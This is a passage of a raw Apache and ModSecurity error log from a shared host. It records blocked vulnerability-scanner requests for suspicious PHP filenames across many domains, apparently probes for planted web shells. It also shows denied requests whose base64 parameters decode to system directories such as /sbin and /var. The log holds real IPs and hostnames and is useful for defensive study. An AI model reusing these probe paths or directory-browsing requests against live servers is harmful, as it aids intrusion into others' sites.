https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UwL2RldmljZQ== [Sat Jun 13 18:10:43.696078 2026] [access_compat:error] [pid 531155:tid 531279] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UwL2RldmljZQ== [Sat Jun 13 18:10:43.744690 2026] [access_compat:error] [pid 531155:tid 531193] [remote 57.141.14.106:31627] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:43.744976 2026] [access_compat:error] [pid 531155:tid 531193] [remote 57.141.14.106:31627] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:43.848760 2026] [security2:error] [pid 531797:tid 532003] [client 20.9.67.71:36191] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/drykl.php"] [unique_id "ai3xg8TA7b1mZrmcA-8nBQAAAhs"] [Sat Jun 13 18:10:43.898295 2026] [security2:error] [pid 531797:tid 532008] [client 191.234.188.123:47999] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/ihodcrk.php"] [unique_id "ai3xg8TA7b1mZrmcA-8nCAAAAiA"] [Sat Jun 13 18:10:44.011254 2026] [security2:error] [pid 531155:tid 531396] [client 20.151.217.54:9354] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/fff.php"] [unique_id "ai3xhCmiP80klyS0Nnr44wAAAXk"] [Sat Jun 13 18:10:44.119855 2026] [security2:error] [pid 531797:tid 532021] [client 189.217.192.30:49660] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "200"] [hostname "kawasakiz1.com"] [uri "/xmlrpc.php"] [unique_id "ai3xg8TA7b1mZrmcA-8nBwAAAi0"] [Sat Jun 13 18:10:44.155088 2026] [access_compat:error] [pid 531797:tid 531925] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3NiaW4= [Sat Jun 13 18:10:44.155538 2026] [access_compat:error] [pid 531797:tid 531925] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3NiaW4= [Sat Jun 13 18:10:44.163909 2026] [security2:error] [pid 531797:tid 532068] [client 20.9.67.71:47581] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "steaminnovationfoundation-org.nucreativesolutions.com"] [uri "/wpconf.php"] [unique_id "ai3xhMTA7b1mZrmcA-8nDwAAAlo"] [Sat Jun 13 18:10:44.242717 2026] [access_compat:error] [pid 531797:tid 531894] [remote 57.141.14.108:54251] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:44.243191 2026] [access_compat:error] [pid 531797:tid 531894] [remote 57.141.14.108:54251] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:44.258773 2026] [access_compat:error] [pid 531155:tid 531219] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:10:44.259188 2026] [access_compat:error] [pid 531155:tid 531219] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:10:44.275592 2026] [security2:error] [pid 531155:tid 531214] [remote 17.246.15.189:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 189.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xhCmiP80klyS0Nnr46AABRzo"] [Sat Jun 13 18:10:44.284028 2026] [access_compat:error] [pid 531155:tid 531220] [remote 57.141.14.14:60252] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:44.284478 2026] [access_compat:error] [pid 531155:tid 531220] [remote 57.141.14.14:60252] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:44.326927 2026] [security2:error] [pid 531155:tid 531392] [client 20.9.67.71:41866] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.naturistavanessa.com"] [uri "/atomlib.php"] [unique_id "ai3xhCmiP80klyS0Nnr47gAAAXU"] [Sat Jun 13 18:10:44.383307 2026] [security2:error] [pid 531797:tid 532117] [client 172.171.3.232:41477] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/zz.php"] [unique_id "ai3xhMTA7b1mZrmcA-8nFgAAAoo"] [Sat Jun 13 18:10:44.455128 2026] [security2:error] [pid 531797:tid 531875] [remote 17.241.219.250:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 250.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xhMTA7b1mZrmcA-8nGAACfQs"] [Sat Jun 13 18:10:44.484845 2026] [access_compat:error] [pid 531797:tid 531972] [remote 57.141.14.100:55413] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:44.485134 2026] [access_compat:error] [pid 531797:tid 531972] [remote 57.141.14.100:55413] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:44.598940 2026] [security2:error] [pid 531797:tid 532100] [client 191.233.234.186:40257] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-initiative.com"] [uri "/cxl.php"] [unique_id "ai3xhMTA7b1mZrmcA-8nHgAAAnk"] [Sat Jun 13 18:10:44.694796 2026] [security2:error] [pid 531155:tid 531281] [remote 17.246.19.148:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 148.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xhCmiP80klyS0Nnr49AABLX0"] [Sat Jun 13 18:10:44.784170 2026] [access_compat:error] [pid 531155:tid 531207] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9ldmVudDE= [Sat Jun 13 18:10:44.784633 2026] [access_compat:error] [pid 531155:tid 531207] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9ldmVudDE= [Sat Jun 13 18:10:44.814136 2026] [security2:error] [pid 531797:tid 532000] [client 172.171.3.232:41522] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/wp-the1.php"] [unique_id "ai3xhMTA7b1mZrmcA-8nIgAAAhg"] [Sat Jun 13 18:10:44.937026 2026] [access_compat:error] [pid 531155:tid 531190] [remote 57.141.14.106:31639] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:44.937472 2026] [access_compat:error] [pid 531155:tid 531190] [remote 57.141.14.106:31639] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:45.092859 2026] [security2:error] [pid 531155:tid 531339] [client 20.151.217.54:48169] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/cibai.php"] [unique_id "ai3xhSmiP80klyS0Nnr4_QAAAUA"] [Sat Jun 13 18:10:45.180938 2026] [security2:error] [pid 531797:tid 532030] [client 20.9.67.71:47506] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "steaminnovationfoundation-org.nucreativesolutions.com"] [uri "/Ov-Simple1.php"] [unique_id "ai3xhcTA7b1mZrmcA-8nKQAAAjU"] [Sat Jun 13 18:10:45.291992 2026] [access_compat:error] [pid 531155:tid 531173] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ0L3Bvd2Vy [Sat Jun 13 18:10:45.292436 2026] [access_compat:error] [pid 531155:tid 531173] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ0L3Bvd2Vy [Sat Jun 13 18:10:45.312178 2026] [security2:error] [pid 531155:tid 531305] [client 20.9.67.71:36102] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/h2a2ck.php"] [unique_id "ai3xhSmiP80klyS0Nnr5AgAAAR4"] [Sat Jun 13 18:10:45.314992 2026] [security2:error] [pid 531797:tid 532116] [client 20.151.217.54:9401] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/dccs.php"] [unique_id "ai3xhcTA7b1mZrmcA-8nLgAAAok"] [Sat Jun 13 18:10:45.346553 2026] [access_compat:error] [pid 531797:tid 531961] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly92YXI= [Sat Jun 13 18:10:45.347025 2026] [access_compat:error] [pid 531797:tid 531961] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly92YXI= [Sat Jun 13 18:10:45.366760 2026] [access_compat:error] [pid 531797:tid 531956] [remote 57.141.14.55:47881] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:45.367135 2026] [access_compat:error] [pid 531797:tid 531956] [remote 57.141.14.55:47881] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:45.705723 2026] [security2:error] [pid 531155:tid 531286] [client 20.9.67.71:47527] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "steaminnovationfoundation-org.nucreativesolutions.com"] [uri "/atomlib.php"] [unique_id "ai3xhSmiP80klyS0Nnr5DQAAAQs"] [Sat Jun 13 18:10:45.735121 2026] [security2:error] [pid 531797:tid 532029] [client 191.233.234.186:38883] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-initiative.com"] [uri "/flox.php"] [unique_id "ai3xhcTA7b1mZrmcA-8nOQAAAjQ"] [Sat Jun 13 18:10:45.770273 2026] [security2:error] [pid 531797:tid 532020] [client 172.171.3.232:64610] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.jesusknowsyourname.org"] [uri "/gdn.php"] [unique_id "ai3xhcTA7b1mZrmcA-8nPQAAAiw"] [Sat Jun 13 18:10:45.802285 2026] [access_compat:error] [pid 531155:tid 531166] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjMz [Sat Jun 13 18:10:45.802800 2026] [access_compat:error] [pid 531155:tid 531166] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjMz [Sat Jun 13 18:10:45.824724 2026] [security2:error] [pid 531797:tid 531924] [remote 17.22.237.79:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 79.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xhcTA7b1mZrmcA-8nPwACGzw"] [Sat Jun 13 18:10:45.913050 2026] [security2:error] [pid 531797:tid 531873] [remote 17.246.23.233:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 233.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xhcTA7b1mZrmcA-8nQQACIwk"] [Sat Jun 13 18:10:45.975583 2026] [access_compat:error] [pid 531155:tid 531208] [remote 57.141.14.80:52769] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:45.975921 2026] [access_compat:error] [pid 531155:tid 531208] [remote 57.141.14.80:52769] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:45.996202 2026] [security2:error] [pid 531797:tid 532001] [client 20.9.67.71:41940] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.naturistavanessa.com"] [uri "/loxico93.php"] [unique_id "ai3xhcTA7b1mZrmcA-8nRgAAAhk"] [Sat Jun 13 18:10:46.142383 2026] [access_compat:error] [pid 531797:tid 531926] [remote 57.141.14.103:47328] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:46.142697 2026] [access_compat:error] [pid 531797:tid 531926] [remote 57.141.14.103:47328] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:46.240723 2026] [security2:error] [pid 531797:tid 531912] [remote 17.22.237.209:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 209.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xhsTA7b1mZrmcA-8nTAAChzA"] [Sat Jun 13 18:10:46.331612 2026] [access_compat:error] [pid 531797:tid 531911] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:46.332070 2026] [access_compat:error] [pid 531797:tid 531911] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:46.389039 2026] [access_compat:error] [pid 531155:tid 531252] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 